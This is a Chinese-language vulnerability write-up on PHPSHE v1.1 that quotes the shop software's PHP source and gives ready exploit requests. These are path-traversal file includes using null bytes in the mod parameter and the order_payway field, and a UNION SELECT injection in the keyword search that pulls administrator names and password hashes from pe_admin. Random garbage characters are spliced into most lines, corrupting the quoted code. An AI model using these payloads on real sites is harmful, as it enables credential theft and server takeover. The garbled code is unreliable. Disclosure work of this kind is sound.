phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
, O1 d" }0 L/ N/* Phpshe v1.1 Vulnerability
1 T' G- H& O9 g& P; f6 _6 \( q/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
; j; ?3 A  Y9 A9 @0 l& u% u/*******************************************************/
0×00 整体大概参数传输


0 s* a7 ?! D, `0 s
//common.php
4 @) A) g3 y) l- n% rif (get_magic_quotes_gpc()) {
1 b% m2 q# P) J! S* }' I; R!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
2 y; V9 Z2 u& d  |!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
* |( m" d& n4 z. {. D+ Zelse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
, P$ {8 I8 t1 e7 w9 [session_start();
( `# M4 E! K% i2 l!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
0 `+ [  l9 {( d$ {2 H!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
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" y% _- f+ V8 x% h. C8 J0×01 包含漏洞

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//首页文件
) }( W9 C/ A  \6 ^0 ?+ y3 @% Q4 Z<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
# n8 r; z4 N/ \8 |* `5 I8 \5 Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
- l* A2 d% n8 rurl路由配置
( r6 b) L1 \6 c$module = $mod = $act = 'index';
  h" H3 ?+ Y6 d4 Z$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
8 t; l3 V, C$ ~$ S' s1 V$ B$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
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* l1 q6 R% u2 `6 \. C0 [ 0×02 搜索注入
5 m6 G# s8 o/ D2 n! m' o
) T- C( @6 S/ n<code id="code2">

//product.php文件
case 'list':
4 m9 o9 ]7 u( j) c$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
! f1 `4 ~( ~" e0 a5 p//搜索
2 y# a$ Y/ _) {$ u. \$ S$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
" y/ ?/ ^' E& Y$ o; N" Pif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
$sqlwhere .= " order by `product_id` desc";
2 x" h0 t3 ]0 o  y' q3 `}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
$product_hotlist = product_hotlist();
6 j4 `# r0 @9 L//当前路径
4 ?, R" j7 o; `: c7 ?6 T1 l$nowpath = category_path($category_id);
; i9 S9 @  B5 m" v( y8 z+ q8 L- y- A$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
- c% V8 X) Y% P* x//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
4 _4 G* C  R% T7 s$ f  breturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
//exp
% V( u0 {$ S: H) l* ?- N8 _product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 Z( B: P4 ~/ z$ ?- Z& t6 k

</code>
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6 v  b5 R! O2 a: x2 }! y# K0×03 包含漏洞2

' ~2 k2 R. ]4 w5 g2 o<code id="code3">

//order.php

case 'pay':

4 m  x1 \) ^5 A) r$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

8 |2 ]6 L  F0 A9 \& |# s3 Oforeach($cache_payway as $k => $v) {

& H# X+ {- h  Y& l$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

8 s% t& `, W$ M$ o$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

; E9 X% T7 Y0 T' Fif (isset($_p_pesubmit)) {

( L# s3 J" X5 B1 h4 Eif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

  K4 [, _3 r9 y5 b( S0 z* ]}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

( t' T5 H7 Q: Y7 n( e* g+ F' cpe_error('支付错误...');

/ V( P0 V- Z5 T* n0 L}

8 g2 g  p8 J' G5 X: }0 Q+ S1 u}

$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>